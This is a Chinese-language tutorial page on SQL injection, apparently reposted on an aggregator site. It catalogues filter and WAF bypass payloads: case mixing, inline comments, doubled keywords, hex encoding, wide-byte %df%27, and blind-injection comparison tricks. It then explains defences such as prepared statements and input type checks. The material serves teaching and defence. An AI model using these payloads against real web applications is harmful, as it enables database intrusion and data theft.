sql注入(三)绕过方法及防御手段

news2024/10/7 4:29:47

一、sql注入的绕过方法

1.注释符过滤绕过

常用的注释符有:

1)-- 注释内容

2)# 注释内容

3)/* 注释内容 */

绕过方法

构造闭合:

?id=1' and sql语句 and '1'='1

这样接收源码前面的引号被 id=1' 中的后引号所闭合,源码中的后引号会被 '1'='1 中的前引号所闭合所以这样不用注释符就逃逸出引号。

2.大小写绕过

常用于 waf 的正则对大小写不敏感的情况。

uniOn selEct 1,2

3.内联注释绕过

当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*!  */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行。

?id=1' union /*!select*/ 1,2

eg:  

4.双写关键字绕过

一些简单的 waf 中,将关键字 select 等只使用 replace () 函数置换为空,这时候可以使用双写关键字绕过。

eg:

union seselectlect 1,2
#会将中间的 select 过滤掉之后将 se 与 lect 合并形成新的select

5.编码绕过

可以绕过引号过滤

1)十六进制绕过

eg:

?id=1' unino select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

这里演示的是当引号被过滤后,可以使用十六进制来写表名这样在调用时表名会被直接调用使用。

2)ascii 编码绕过

就是使用ascii 编码来替换需要引号引用的内容

eg:

Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

6.空格过滤绕过

可代替空格的方式:

1)/**/

2)()

4)`(tap 键上面的按钮)

5)tap

eg:

union/**/select/**/1,2

select(passwd)from(users) # 注意括号中不能含有 *

7.过滤掉过滤 or and xor (异或) not 绕过

可以用符号进行替代

and = &&、or = ||、xor = |、not = !

8.过滤等号(=)绕过

1)like、rlike

不加通配符的 like 执行的效果和 = 一致,所以可以用来绕过。

rlike 模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代 = 时,rlike 的用法和上面的 like 一样,没有通配符效果和 = 一样

eg:

select * from users where id like 1;

 2)regexp

MySQL 中使用 REGEXP 操作符来进行正则表达式匹配

eg:

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp 'users'

9. 过滤大小于号绕过

在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。

1)greatest (n1, n2, n3…): 返回 n 中的最大值

select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116
#这里的 greatest(函数,1)是用与比较取出其中最大的值用于爆破

2)least (n1,n2,n3…): 返回 n 中的最小值,与上同理。

 3)strcmp (str1,str2): 若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

eg:

select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

4)in 关键字

用于判断列名中是否存在此关键字,常用于布尔盲注

eg:

select * from users where id = 1 and substr(user(),1,1) in ('r')
#表示查询user()中id = 1的行的第一个字符是否为 r

10. 过滤引号绕过

1)使用编码绕过(16进制/ascii)

eg:

?id=1' unino select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

这里演示的是当引号被过滤后,可以使用十六进制来写表名这样在调用时表名会被直接调用使用。

2)宽字节注入

常用在 web 应用使用的字符集为 GBK 时,并且过滤了引号(一般为被函数转义的的过滤),就可以试试宽字节。

eg:

%df%27 union select 1,2,3

11.过滤逗号绕过

1)如果 waf 过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用 from  for ,其中 pos 代表从 pos 个开始读取 len 长度的子串

eg:常规写法 select substr ("string",1,3)

若过滤了逗号,可以使用 from  for 来取代 select substr ("string" from 1 for 3)

 eg:

select ascii (substr(user() from 1 for 1)) > 110

2)也可使用 join 关键字来绕过

适用于联合查询起别名的方式

eg:

select * from users union select * from (select 1)a join (select 2)b join(select 3)c

上式等价于 union select 1,2,3

3)使用 like 关键字,适用于 substr () 等提取子串的函数中的逗号(适用于盲注)

select user() like "r%"

上式等价于 select ascii (substr (user (),1,1))=114

 4)使用 offset 关键字,适用于 limit 中的逗号被过滤的情况

eg:

select * from users limit 1 offset 2

上式等价于 select * from users limit 2,1

不同点在于使用逗号是从行号在前进行截取,使用 offset 关键字是行号在后进行截取。

12、过滤函数绕过

1)sleep()

可以使用benchmark()函数进行替代

MySQL 有一个内置的benchmark()函数,可以测试某些特定操作的执行速度。

2)substr (),substring (),mid () 可以相互取代, 取子串的函数还有 left (),right ()

3)ord ()–>ascii (): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。

二、sql注入的防御手段 、

1)预编译

预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL 引擎进行解析为 AST Opcode ,第二次交互发送数据,代入AST Opcode 中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql 注入的产生。
也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划 ,也就是说, 后面你输入的参数,无论你输入的是什么,都 不会影响该sql语句的语法结构了 ,因为语法分析已经完成了,而语法分析主要是分析sql命令,比如 select ,from ,where ,and, or ,order by 等等。所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了, 因为这些sql命令的执行, 必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为sql命令来执行的, 只会被当做字符串字面值参数

2)检查数据类型

检查输入数据的类型在很大程度上可以限制SQL注入。例如对于book_id的查询,我们就可以限制其为数字,不允许插入其他类型的数据类型。或者对用户的输入信息进行严格的过滤,比如日期、年份等格式进行严格限制。均可以防御一些恶意注入。

当然,如果用户必须提交一段字符,那么此时我们就需要使用安全函数,或者一些waf实现对sql注入的防御了
 

3)设置黑名单

目的是对用户输入的命令进行严格过滤,也可以通过正则表达式进行过滤,但有可能会因为过滤的信息不全导致的过滤失败。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/483014.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于MPU的笔记

MPU(memory protection unit)内存保护单元。这些系统必须提供一种机制来保证正在运行的任务不破坏其他任务的操作。即要防止系统资源和其他一些任务不受非法访问。嵌入式系统有专门的硬件来检测和限制系统资源的访问。它能保证资源的所有权,任…

unity 性能优化之画质分级

如果你的游戏兼容多平台,或者当前平台的设备也有硬件差距,比如低端设备就是带不动你的画质,无论如何你如何优化就是带不动。这种情况下,我们可以考虑对画质进行分级,减少一些特性,来提高运行质量。接下来我…

JavaWeb《HTML基础标签》

本笔记学习于Acwing平台 MDN官方文档https://developer.mozilla.org/zh-CN/ 目录 1. html文件结构 2. 文本标签 3. 图片 4. 音频和视频 5. 超链接 6. 表单 7. 列表 8. 表格 9. 语义标签 10. 特殊符号 1. html文件结构 文档结构 html的所有标签为树形结构&#xff…

AI模型推理(3)——ModelMesh使用

参考: ModelMesh installation - KServe Documentation Website ModelMesh Overview - KServe Documentation Website 前言 Kserve提供了“Serverless”和“ModelMesh”两种安装模式。其中Serverless是通过Knative组件实现动态扩缩容等功能。而ModelMesh则是另一…

华南X99F8D开不了机——主板出现错误码67的解决方案

华南X99F8D开不了机——主板出现错误码67的解决方案 前言 笔者的双路e5:大数据双路e5主机搭建:2696v3256g内存 配置: 主板:x99f8d CPU:e5 2696v3 *2 【36核72线程】 内存条:DDR4 ECC 32G *8 【256G】 显…

Nginx + LVS + KeepAlived实现高可用集群

文章目录 一、名词解释1、高可用集群2、LVS3、Keepalived 二、搭建流程1、安装Docker2、安装Nginx3、安装Keepalived4、编写nginx_check.sh脚本 一、名词解释 1、高可用集群 对于中小型互联网公司,产品所承受的请求量还是比较低的,所以一般使用单节点N…

碳中和专题:智慧城市建设能否提高碳生产率?—基于中国智慧城市试点的准自然实验

一.研究内容 目前,中国面临着如何在保证经济增长的前提下实现减排目标的困境。智能城市建设作为一种新型的城市发展模式,有可能成为解决这一问题的关键。本文使用多周期双重差分DID模型进行实证分析,旨在评估智能城市试点政策对碳生产率的影响…

论文笔记:Model-Contrastive Federated Learning

0 简介 论文:Model-Contrastive Federated Learning 代码:https://github.com/QinbinLi/MOON 相关链接:本文主要是将SimCLR对比学习的思想迁移到联邦学习中,关于SimCLR的介绍见https://blog.csdn.net/search_129_hr/article/deta…

最好的物联网教程:软硬结合——从零打造物联网

在大学里不同专业有着不同的追求:机械类与强电类专业学生追求的是 “机电合一” ,既懂机械又懂电气,整个电气机械自动化便能打通。弱电类专业学生追求的是 “软硬结合” ,既懂硬件又懂软件,整个电子产品便能打通。我作…

唱作音乐人朱卫明新歌全网首发,当初恋遇到《龙仙街》

今年唱作音乐人朱卫明正式出道25周年了!为纪念这个生涯里程碑,朱卫明近日在酷狗音乐首发全新单曲《龙仙街》,上酷狗搜索“朱卫明”,即可抢先收听。 这首歌是继《酒吧情歌》《不爱她》《只要陪着你》《有缘无分》《断了吧》《疯狂爱…

Linux——基础IO

目录 C语言文件操作 fprintf​编辑 Linux下的文件操作(文件的系统调用接口) open open的第三个参数 open的第二个参数 write read 文件描述符fd 进程与被打开文件的关系(理解的关键) 见见猪跑 fd文件描述符的分配规则 结论 重定向 输入重定向原理 输出重…

Linux线程:互斥锁mutex的使用

1. 同步 & 互斥 (1)同步 多个进程或线程按照一定的执行顺序完成某一任务;如B任务依赖A任务产生的数据。 (2)互斥 临界资源同一时刻只能被一个进程或线程使用。 2. 临界资源 和 临界区 (1&#xff…

feign远程调用原理

目录 一、简介 二、调用流程分析 2.1 添加注解 2.2 Import(FeignClientsRegistrar.class), 2.3 代理创建流程 2.4 代理调用 一、简介 feign是springCloud全家桶中的远程调用组件,其底层主要依赖于Java的动态代理机制,然后基于http client…

【软件测试】全网火爆,实战Web项目前后台的bug定位(超详细)

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 系统整体架构 Se…

【Java入门合集】第二章Java语言基础(三)

【Java入门合集】第二章Java语言基础(三) 博主:命运之光 专栏:JAVA入门 学习目标 掌握变量、常量、表达式的概念,数据类型及变量的定义方法; 掌握常用运算符的使用; 掌握程序的顺序结构、选择结…

【微信小程序开发】微信小程序集成腾讯位置项目配置

第一步 进入官网 按照Hello World流程走 腾讯位置服务官网 1、申请密钥 当然没账号的要先注册一个账号 在我的应用里创建一个新的应用,印象中需要小程序ID,去微信开发者工具里面找到自己的小程序ID填入即可 添加key中勾选勾选WebServiceAPI 2、下载S…

锐龙7000PBO温度墙设置

AMD的锐龙7000处理器首发评测大家也都看过了,很多人关心的都是它的性能是否可以超越12代酷睿甚至即将发布的13代酷睿,这方面的测试结果差不多了,但是很多人不知道的是散热问题更需要关注。 在评测中,锐龙9 7950X在拷机时温度达到…

【PCIE体系结构七】数据链路层介绍

👉个人主页:highman110 👉作者简介:一名硬件工程师,持续学习,不断记录,保持思考,输出干货内容 参考书籍:PCI_Express体系结构导读 目录 前言 数据链路层概述 数据链路层…

命名ACL配置

命名ACL配置 【实验目的】 掌握命名ACL的配置。验证配置。 【实验拓扑】 实验拓扑如图1所示。 图1 实验拓扑 设备参数如表所示。 表1 设备参数表 设备 接口 IP地址 子网掩码 默认网关 R1 S0/3/0 192.168.1.1 255.255.255.252 N/A Fa0/0 192.168.2.1 255.255.…

05_Uboot源码目录分析

目录 Uboot 源码目录分析 arch 文件夹 board 文件夹 configs 文件夹 .u-boot.xxx_cmd 文件 Makefile 文件 u-boot.xxx文件 .config文件 README Uboot 源码目录分析 学会uboot使用以后就可以尝试移uboot到自己的开发板上了,但是在移植之前需要我们得先分析一遍uboot的…